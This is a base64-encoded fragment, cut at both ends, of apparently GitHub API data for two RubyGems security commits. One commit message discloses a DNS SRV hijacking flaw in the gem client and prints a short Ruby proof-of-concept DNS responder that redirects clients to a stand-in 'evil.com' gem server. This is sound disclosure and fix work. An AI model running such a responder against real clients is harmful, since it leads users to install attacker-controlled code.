joiZWYwYWE2MTFlZmZiNWY1NGQ0MGM3ZmJhNmU4MjM1ZWI0M2M1YTQ5MSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IkV2YW4gUGhvZW5peCIsImVtYWlsIjoiZXZhbkBwaHguaW8iLCJkYXRlIjoiMjAxNy0wNS0yMlQxNjo0NDowOFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI4VDAxOjM3OjE1WiJ9LCJtZXNzYWdlIjoiQ2xlYW4gYW55IHRleHQgcHJlc2VudCBpbiBnZW1zIGJlZm9yZSBkaXNwbGF5aW5nIGl0XG5cblRoaXMgbWFrZXMgc3VyZSB0aGF0IGFueSBkYXRhIHB1bGxlZCBvdXQgb2YgYSBnZW0gc3BlYyBpcyBjbGVhbmVkIG9mIGFsbFxubm9uLXByaW50YWJsZSBjaGFyYWN0ZXJzIGJlZm9yZSBwcmludGluZyBpdC4gVGhpcyBwcmV2ZW50cyBhIGdlbSBmcm9tXG5jYXVzaW5nIGhhdm9jIHdpdGggYSB1c2VycyB0ZXJtaW5hbC4iLCJ0cmVlIjp7InNoYSI6Ijk5NzMyNjlmYjJhMjA4MmM4MjkzODFmZGJkZjFmZmMxYzRmYTM0OGEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy85OTczMjY5ZmIyYTIwODJjODI5MzgxZmRiZGYxZmZjMWM0ZmEzNDhhIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZWYwYWE2MTFlZmZiNWY1NGQ0MGM3ZmJhNmU4MjM1ZWI0M2M1YTQ5MSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWm8zUExBQW9KRUFFWlc3TVYzYWhXeUlVUUFJbUlRclp1bHdWaE1wMytkamVHTk5jVFxuSFVKMU4vdTdnT0FaNk92aFVic3F0T0plRGplRWpsNlRKeWp2L01vWXlGL2NsR2xoSlIzQXJTWDI2NjBNODUrOFxuajdJcEs5c1o0TUdzK3AwcWtZSjZLVHVnS3Z0dWtjOGJta09XV3d5VW1sQW9GbzM2NUYwaklpaDU4dGtHeDhmTFxuUi9GL1VhRS9mWmNtQlpDKzRRZHd4czhVNGNBUWhuaEVJUkJmV2gvTm1hRnNPWlltMGY4emhVdFV1NlJqdlgxTlxuSE1zQXRmUldSb05MdUVWWDRCeTlyQWNpSCs5SHNobE5lREVleUtjT0lhUHEyYVRLeHBxYSt3NDlrNEJ4em5OSFxudHAyM0F5T0syUFBOekh6dm9HM3JCNzlMQ0Z0NXprMStXQlArYXBMNnB4VUFTUUhSN2QyUmFnRU5OOE1MSGVnc1xuK1RlbVExZkhvaG1aeGNxbUQrMVZHamlFUVNzMEl0VWhyNHI5MDRIZzUzV296ckJHN1JJL1lGOW43T0xOY0xZSFxucjNJNDgvNlBwSFJoOVNFdy91bG9NOHcxZUtCWDg5enVwVTQ3ZHNtMytaeGVlYUtRWjY3bWdRWjRGTVVrNGNzelxuMnhtTWo0dlgzQXZERWk4Tm93MWh5SkcxRitFM1Z6eTF6T29Nb3ZaQUVkd3A0SDZCUVNXYm9ZMmZHdGthUkl3VFxuL0duVXIxMmd6emczRUE3aUNTMkl3QnViNCtZWTRYclFLcEd3NWtvN2cxd3oxTXhjM3ZNSHRqbyt4RForVTdobFxuci93dnUxNDhpNnFZTkx3Vk9mNndzL205SnY4d1JRdEdHTWVSc1k2bndoUExsV2h2ZkI3YjdrZFg3L21WYkxLcFxuR0Fpbzc1VkQ1b05qVVBkOThabnFcbj1DRUtuXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSA5OTczMjY5ZmIyYTIwODJjODI5MzgxZmRiZGYxZmZjMWM0ZmEzNDhhXG5wYXJlbnQgOGQ5MTUxNmZiNzAzN2VjZmIyNzYyMmY2MDVkYzQwMjQ1ZTBmOGQzMlxuYXV0aG9yIEV2YW4gUGhvZW5peCA8ZXZhbkBwaHguaW8+IDE0OTU0NzE0NDggLTA3MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzg4NDIzNSAtMDUwMFxuXG5DbGVhbiBhbnkgdGV4dCBwcmVzZW50IGluIGdlbXMgYmVmb3JlIGRpc3BsYXlpbmcgaXRcblxuVGhpcyBtYWtlcyBzdXJlIHRoYXQgYW55IGRhdGEgcHVsbGVkIG91dCBvZiBhIGdlbSBzcGVjIGlzIGNsZWFuZWQgb2YgYWxsXG5ub24tcHJpbnRhYmxlIGNoYXJhY3RlcnMgYmVmb3JlIHByaW50aW5nIGl0LiBUaGlzIHByZXZlbnRzIGEgZ2VtIGZyb21cbmNhdXNpbmcgaGF2b2Mgd2l0aCBhIHVzZXJzIHRlcm1pbmFsLlxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZWYwYWE2MTFlZmZiNWY1NGQ0MGM3ZmJhNmU4MjM1ZWI0M2M1YTQ5MSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lZjBhYTYxMWVmZmI1ZjU0ZDQwYzdmYmE2ZTgyMzVlYjQzYzVhNDkxIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2VmMGFhNjExZWZmYjVmNTRkNDBjN2ZiYTZlODIzNWViNDNjNWE0OTEvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJldmFucGh4IiwiaWQiOjcsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2V2YW5waHgiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ldmFucGh4IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZXZhbnBoeC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ldmFucGh4L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2V2YW5waHgvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2V2YW5waHgvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ldmFucGh4L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZXZhbnBoeC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ldmFucGh4L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZXZhbnBoeC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZXZhbnBoeC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjhkOTE1MTZmYjcwMzdlY2ZiMjc2MjJmNjA1ZGM0MDI0NWUwZjhkMzIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOGQ5MTUxNmZiNzAzN2VjZmIyNzYyMmY2MDVkYzQwMjQ1ZTBmOGQzMiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC84ZDkxNTE2ZmI3MDM3ZWNmYjI3NjIyZjYwNWRjNDAyNDVlMGY4ZDMyIn1dfSx7InNoYSI6IjhkOTE1MTZmYjcwMzdlY2ZiMjc2MjJmNjA1ZGM0MDI0NWUwZjhkMzIiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA1LTAxVDE3OjQxOjI5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjhUMDE6Mzc6MTVaIn0sIm1lc3NhZ2UiOiJbUmVtb3RlRmV0Y2hlcl0gQXZvaWQgRE5TIEhpamFja2luZyBWdWxuZXJhYmlsaXR5XG5cblJlcG9ydGVkIGJ5IEBjbGF1ZGlqZFxuXG4qKkRlc2NyaXB0aW9uOioqXG5cblRoZSBSdWJ5R2VtcyBjbGllbnQgc3VwcG9ydHMgYSBnZW0gc2VydmVyIEFQSSBkaXNjb3ZlcnkgZnVuY3Rpb25hbGl0eSxcbndoaWNoIGlzIHVzZWQgd2hlbiBwdXNoaW5nIG9yIHB1bGxpbmcgZ2VtcyB0byBhIGdlbSBkaXN0cmlidXRpb24vaG9zdGluZ1xuc2VydmVyLCBsaWtlIFJ1YnlHZW1zLm9yZy4gIFRoaXMgZnVuY3Rpb25hbGl0eSBpcyBwcm92aWRlZCB2aWEgYSBTUlYgRE5TXG5yZXF1ZXN0IHRvIHRoZSB1c2VycyBnZW0gc291cmNlIGhvc3RuYW1lIHByZXBlbmRlZCB3aXRoIFwiX3J1YnlnZW1zLl90Y3AuXCIuXG5UaGUgcmVzcG9uc2UgdG8gdGhpcyByZXF1ZXN0IHRlbGxzIHRoZSBSdWJ5R2VtcyBjbGllbnQgKGFrYTogdGhlIGdlbVxuY29tbWFuZCkgd2hlcmUgdGhlIHVzZXJzIGdlbSBzZXJ2ZXIgQVBJIGlzLiAgSW4gdGhlIGRlZmF1bHQgUnVieUdlbXNcbnNjZW5hcmlvLCB3aXRoIGEgZ2VtIHNvdXJjZSBvZiBodHRwczovL3J1YnlnZW1zLm9yZywgdGhlIHVzZXJzIFNSViBETlNcbnJlcXVlc3QgYW5kIHJlcGx5IHdpbGwgbG9vayBsaWtlIHRoaXM6XG5cbiAgICB+ICQgZGlnIHNydiBfcnVieWdlbXMuX3RjcC5ydWJ5Z2Vtcy5vcmcgK3Nob3J0XG4gICAgMCAxIDgwIGFwaS5ydWJ5Z2Vtcy5vcmcuXG5cbkR1ZSB0byBhIGRlZmljaWVuY3kgaW4gRE5TIHJlc3BvbnNlIHZlcmlmaWNhdGlvbiwgYSBNaVRNIHBvc2l0aW9uZWRcbmF0dGFja2VyIGNhbiBwb2lzb24gdGhlIEROUyByZXNwb25zZSB0byB0aGlzIHJlY29yZCByZXNwb25zZSBhbmQgZm9yY2VcbnRoZSBjbGllbnQgdG8gdW5rbm93aW5nbHkgZG93bmxvYWQgYW5kIGluc3RhbGwgUnVieSBnZW1zIGZyb20gYW4gYXR0YWNrZXJcbmNvbnRyb2xsZWQgZ2VtIHNlcnZlciBpbiBhbiBhbHRlcm5hdGUgc2VjdXJpdHkgZG9tYWluLiAgQW4gZXhhbXBsZSBvZlxuc3VjaCBhIHNjZW5hcmlvIHdvdWxkIGxvb2sgbGlrZSBzbzpcblxuICAgIH4gJCBkaWcgX3J1YnlnZW1zLl90Y3AucnVieWdlbXMub3JnIFNSViArc2hvcnRcbiAgICAwIDAgNTMgZXZpbC5jb20vYXBpLnJ1YnlnZW1zLmNvbS5cblxuSW4gc3VjaCBhIHNjZW5hcmlvLCB0aGUgYXR0YWNrZXIgaXMgYWJsZSB0byBzZXJ2ZSB0aGUgY2xpZW50IG1hbGljaW91cyBnZW1cbmNvbnRlbnQsIHJlc3VsdGluZyBpbiB0cml2aWFsIHJlbW90ZSBjb2RlIGV4ZWN1dGlvbiBzY2VuYXJpb3MuICBGb3JcbmV4YW1wbGUsIHRoZSBhdHRhY2tlciBjb3VsZCBzaW1wbHkgbW9kaWZ5IHRoZSBnZW0gc291cmNlIGNvZGUgYW5kIHRyaWdnZXJcbmNvZGUgZXhlY3V0aW9uIHZpYSB0aGUgZXh0ZW5zaW9ucyBBUEkgYXQgaW5zdGFsbCB0aW1lIG9uIHRoZSBjbGllbnQgbWFjaGluZVxuKGEgZ2VtIHRyb2phbmluZyB0ZWNobmlxdWUgZGVzY3JpYmVkIGJ5IEJlbiBTbWl0aCBpbiBoaXMgXCJIYWNraW5nIHdpdGhcbkdlbXNcIiBwcmVzZW50YXRpb24gYXQgQWxvaGEgUnVieSBDb25mZXJlbmNlIGluIDIwMTIgLVxuaHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj16LTViTzBRMUo5cykvXG5cblRoaXMgdnVsbmVyYWJpbGl0eSBoYXMgdGhlIHNhbWUgbmV0IGVmZmVjdC9pbXBhY3QgYXMgW0NWRS0yMDE1LTM5MDBdKGh0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDE1LTM5MDApIGFuZFxuW0NWRS0yMDE1LTQwMjBdKGh0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDE1LTQwMjApLlxuXG4qKkFmZmVjdGVkIG1ldGhvZCBpbiBHZW06OlJlbW90ZUZldGNoZXI6KipcblxuaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvNTA5NmZhMzVjMWNhM2UwYTdkMTc1YWFmOWQ3N2NkOTMxMTRmZDk3Ny9saWIvcnVieWdlbXMvcmVtb3RlX2ZldGNoZXIucmIjTDEwMS1MMTE5XG5cbioqUG9DIEROUyBTUlYgUmVzcG9uZGVyOioqXG5cbiAgICAjIS91c3IvYmluL2VudiBydWJ5XG4gICAgcmVxdWlyZSAncnVieWRucydcbiAgICByZXF1aXJlICdydWJ5ZG5zL3N5c3RlbSdcbiAgICBJTlRFUkZBQ0VTID0gW1xuICAgIFx0Wzp1ZHAsIFwiMC4wLjAuMFwiLCA1M10sXG4gICAgXHRbOnRjcCwgXCIwLjAuMC4wXCIsIDUzXVxuICAgIF1cbiAgICBOYW1lID0gUmVzb2x2OjpETlM6Ok5hbWVcbiAgICBJTiA9IFJlc29sdjo6RE5TOjpSZXNvdXJjZTo6SU5cbiAgICBSdWJ5RE5TOjpydW5fc2VydmVyKDpsaXN0ZW4gPT4gSU5URVJGQUNFUykgZG9cbiAgICAgIG1hdGNoKC8vLCBJTjo6U1JWKSBkbyB8dHJhbnNhY3Rpb258XG4gICAgICAgIHRyYW5zYWN0aW9uLnJlc3BvbmQhKDAsMCw1MyxcImV2aWwuY29tL2FwaS5ydWJ5Z2Vtcy5jb21cIilcbiAgICAgIGVuZFxuICAgIGVuZFxuXG4qKkZpeDoqKlxuXG5CeSBwYXJzaW5nIHRoZSByZXR1cm5lZCB0YXJnZXQgYXMgYSBVUkkgYW5kIG9ubHkgbWF0Y2hpbmcgYWdhaW5zdCB0aGVcbmBob3N0bmFtZWAsIHdlIGNhbiBlbnN1cmUgdGhhdCBvbmx5IHN1YmRvbWFpbnMgb2YgdGhlIG9yaWdpbmFsIGhvc3RcbmFyZSByZWRpcmVjdGVkIHRvLiBUaGlzIHdheSwgYWRkaW5nIFVSSS1kZWxpbWl0aW5nIGNoYXJhY3RlcnMgdG8gdGhlXG5gdGFyZ2V0YCBjYW5ub3QgYmUgdXNlZCB0byBmcm9udC1wYWQgdGhlIHRhcmdldCwgY3JlYXRpbmcgYVxuZmFsc2UtcG9zaXRpdmUgbWF0Y2guIiwidHJlZSI6eyJzaGEiOiJhZTMxNTExYWYwYmVlMzNkMjQwYjY1NWFlN2NlNzg5M2U5NjFlMjNhIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYWUzMTUxMWFmMGJlZTMzZDI0MGI2NTVhZTdjZTc4OTNlOTYxZTIzYSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzhkOTE1MTZmYjcwMzdlY2ZiMjc2MjJmNjA1ZGM0MDI0NWUwZjhkMzIiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlpvM1BMQUFvSkVBRVpXN01WM2FoV2Vqc1AvQWliNXJZbDhFREw2ZTZlSXg2YnpYeVRcbjhUNkxEaitjc0g5Ylg2dm1YZzE1NURMYktjcHpVd3JaNS9UREdtNURlS1ZtbVZpOVJiK1NyUHgrdWpsZFBESjNcbm8wR3dyY2JMM1lkSUpTVnFSY2VkbWNrb1ZLMmMzQjR1K3Uvd0NlL2s3YWJubEdEVng2anFKaFNJaWJlbTVDQW9cbjhSUVNwc1RWWFh6VTRtYmtnQTlXOXFzeXgwdnllOW0zTm5RQ1JTUHdQaWxubThnZkNzd0tXamdDTjRHcFhaR0hcbmNIUFY4TzNQQ1kyTFM1WnJxSHhDdEtsL3NzcG84SktYaGxsS1p3L1RjM0hmL3pNd2xRK003SjNnVHFSK1hia2hcbmpHQWZRT0Q1b2RUd013MEhhWFN6R3hUcFpOVm11Tml1akZLMmZ0eUFma3lYTDExcTdDOFlUNXJLV0JUQkVncnlcbkNoRVM3SkpCM2YxMTU3amx4K2JpMVVxZDB6ejl3OG1rWEd6RFFqQ2h1Y0txbTFEU1gxZTl3NjJDUXNNbHpMSCtcblJBaC8xZ3lTaERuNW40VExoN1hzZXg0T1N4UDFPUnhLWkIyay9aK2JyVWR2MlRYeWJSbCtSVDB3K3R5bjAvTE9cbklqNmx5ZkI5YndQZGJ6ZWhIQkVkTXczQ2pLVUNnUkRkdDk4WUZHT2lmQTBTNENIOUlBeXQ2Z0ExRFpNOHJkV0xcbkJiREN2eWROZTY4dUN1UFRIWmtKL1daQXBJVFlhekhiZjdoeVVVNEJTQmNwNTFGZis1Vk1ORlVZcmh4bWVtaXpcbkprLzR1Y053T1lKZ0k4MnMrOEU3VHpaTWtLQlF6R2JlN1JqeXFHMzY1ak5jaXVGOVRRTmtiUEdnQlNPdlA4dmVcbmE4NjRKUW5FU2FZOUl5Zi8zSGRjXG49U1RzR1xuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgYWUzMTUxMWFmMGJlZTMzZDI0MGI2NTVhZTdjZTc4OTNlOTYxZTIzYVxucGFyZW50IDAwOTA4MDA0MDI3OTI4MmQ3YjhkZGQwOWFjYWI0MTcxOWNiNGJhMDBcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ5MzY2MDQ4OSAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzODg0MjM1IC0wNTAwXG5cbltSZW1vdGVGZXRjaGVyXSBBdm9pZCBETlMgSGlqYWNraW5nIFZ1bG5lcmFiaWxpdHlcblxuUmVwb3J0ZWQgYnkgQGNsYXVkaWpkXG5cbioqRGVzY3JpcHRpb246KipcblxuVGhlIFJ1YnlHZW1zIGNsaWVudCBzdXBwb3J0cyBhIGdlbSBzZXJ2ZXIgQVBJIGRpc2NvdmVyeSBmdW5jdGlvbmFsaXR5LFxud2hpY2ggaXMgdXNlZCB3aGVuIHB1c2hpbmcgb3IgcHVsbGluZyBnZW1zIHRvIGEgZ2VtIGRpc3RyaWJ1dGlvbi9ob3N0aW5nXG5zZXJ2ZXIsIGxpa2UgUnVieUdlbXMub3JnLiAgVGhpcyBmdW5jdGlvbmFsaXR5IGlzIHByb3ZpZGVkIHZpYSBhIFNSViBETlNcbnJlcXVlc3QgdG8gdGhlIHVzZXJzIGdlbSBzb3VyY2UgaG9zdG5hbWUgcHJlcGVuZGVkIHdpdGggXCJfcnVieWdlbXMuX3RjcC5cIi5cblRoZSByZXNwb25zZSB0byB0aGlzIHJlcXVlc3QgdGVsbHMgdGhlIFJ1YnlHZW1zIGNsaWVudCAoYWthOiB0aGUgZ2VtXG5jb21tYW5kKSB3aGVyZSB0aGUgdXNlcnMgZ2VtIHNlcnZlciBBUEkgaXMuICBJbiB0aGUgZGVmYXVsdCBSdWJ5R2Vtc1xuc2NlbmFyaW8sIHdpdGggYSBnZW0gc291cmNlIG9mIGh0dHBzOi8vcnVieWdlbXMub3JnLCB0aGUgdXNlcnMgU1JWIEROU1xucmVxdWVzdCBhbmQgcmVwbHkgd2lsbCBsb29rIGxpa2UgdGhpczpcblxuICAgIH4gJCBkaWcgc3J2IF9ydWJ5Z2Vtcy5fdGNwLnJ1YnlnZW1zLm9yZyArc2hvcnRcbiAgICAwIDEgODAgYXBpLnJ1YnlnZW1zLm9yZy5cblxuRHVlIHRvIGEgZGVmaWNpZW5jeSBpbiBETlMgcmVzcG9uc2UgdmVyaWZpY2F0aW9uLCBhIE1pVE0gcG9zaXRpb25lZFxuYXR0YWNrZXIgY2FuIHBvaXNvbiB0aGUgRE5TIHJlc3BvbnNlIHRvIHRoaXMgcmVjb3JkIHJlc3BvbnNlIGFuZCBmb3JjZVxudGhlIGNsaWVudCB0byB1bmtub3dpbmdseSBkb3dubG9hZCBhbmQgaW5zdGFsbCBSdWJ5IGdlbXMgZnJvbSBhbiBhdHRhY2tlclxuY29udHJvbGxlZCBnZW0gc2VydmVyIGluIGFuIGFsdGVybmF0ZSBzZWN1cml0eSBkb21haW4uICBBbiBleGFtcGxlIG9mXG5zdWNoIGEgc2NlbmFyaW8gd291bGQgbG9vayBsaWtlIHNvOlxuXG4gICAgfiAkIGRpZyBfcnVieWdlbXMuX3RjcC5ydWJ5Z2Vtcy5vcmcgU1JWICtzaG9ydFxuICAgIDAgMCA1MyBldmlsLmNvbS9hcGkucnVieWdlbXMuY29tLlxuXG5JbiBzdWNoIGEgc2NlbmFyaW8sIHRoZSBhdHRhY2tlciBpcyBhYmxlIHRvIHNlcnZlIHRoZSBjbGllbnQgbWFsaWNpb3VzIGdlbVxuY29udGVudCwgcmVzdWx0aW5nIGluIHRyaXZpYWwgcmVtb3RlIGNvZGUgZXhlY3V0aW9uIHNjZW5hcmlvcy4gIEZvclxuZXhhbXBsZSwgdGhlIGF0dGFja2VyIGNvdWxkIHNpbXBseSBtb2RpZnkgdGhlIGdlbSBzb3VyY2UgY29kZSBhbmQgdHJpZ2dlclxuY29kZSBleGVjdXRpb24gdmlhIHRoZSBleHRlbnNpb25zIEFQSSBhdCBpbnN0YWxsIHRpbWUgb24gdGhlIGNsaWVudCBtYWNoaW5lXG4oYSBnZW0gdHJvamFuaW5nIHRlY2huaXF1ZSBkZXNjcmliZWQgYnkgQmVuIFNtaXRoIGluIGhpcyBcIkhhY2tpbmcgd2l0aFxuR2Vtc1wiIHByZXNlbnRhdGlvbiBhdCBBbG9oYSBSdWJ5IENvbmZlcmVuY2UgaW4gMjAxMiAtXG5odHRwczovL3d3dy55b3V0dWJlLmNvbS93YXRjaD92PXotNWJPMFExSjlzKS9cblxuVGhpcyB2dWxuZXJhYmlsaXR5IGhhcyB0aGUgc2FtZSBuZXQgZWZmZWN0L2ltcGFjdCBhcyBbQ1ZFLTIwMTUtMzkwMF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMTUtMzkwMCkgYW5kXG5bQ1ZFLTIwMTUtNDAyMF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMTUtNDAyMCkuXG5cbioqQWZmZWN0ZWQgbWV0aG9kIGluIEdlbTo6UmVtb3RlRmV0Y2hlcjoqKlxuXG5odHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi81MDk2ZmEzNWMxY2EzZTBhN2QxNzVhYWY5ZDc3Y2Q5MzExNGZkOTc3L2xpYi9ydWJ5Z2Vtcy9yZW1vdGVfZmV0Y2hlci5yYiNMMTAxLUwxMTlcblxuKipQb0MgRE5TIFNSViBSZXNwb25kZXI6KipcblxuICAgICMhL3Vzci9iaW4vZW52IHJ1YnlcbiAgICByZXF1aXJlICdydWJ5ZG5zJ1xuICAgIHJlcXVpcmUgJ3J1YnlkbnMvc3lzdGVtJ1xuICAgIElOVEVSRkFDRVMgPSBbXG4gICAgXHRbOnVkcCwgXCIwLjAuMC4wXCIsIDUzXSxcbiAgICBcdFs6dGNwLCBcIjAuMC4wLjBcIiwgNTNdXG4gICAgXVxuICAgIE5hbWUgPSBSZXNvbHY6OkROUzo6TmFtZVxuICAgIElOID0gUmVzb2x2OjpETlM6OlJlc291cmNlOjpJTlxuICAgIFJ1YnlETlM6OnJ1bl9zZXJ2ZXIoOmxpc3RlbiA9PiBJTlRFUkZBQ0VTKSBkb1xuICAgICAgbWF0Y2goLy8sIElOOjpTUlYpIGRvIHx0cmFuc2FjdGlvbnxcbiAgICAgICAgdHJhbnNhY3Rpb24ucmVzcG9uZCEoMCwwLDUzLFwiZXZpbC5jb20vYXBpLnJ1YnlnZW1zLmNvbVwiKVxuICAgICAgZW5kXG4gICAgZW5kXG5cbioqRml4OioqXG5cbkJ5IHBhcnNpbmcgdGhlIHJldHVybmVkIHRhcmdldCBhcyBhIFVSSSBhbmQgb25seSBtYXRjaGluZyBhZ2FpbnN0IHRoZVxuYGhvc3RuYW1lYCwgd2UgY2FuIGVuc3VyZSB0aGF0IG9ubHkgc3ViZG9tYWlucyBvZiB0aGUgb3JpZ2luYWwgaG9zdFxuYXJlIHJlZGlyZWN0ZWQgdG8uIFRoaXMgd2F5LCBhZGRpbmcgVVJJLWRlbGltaXRpbmcgY2hhcmFjd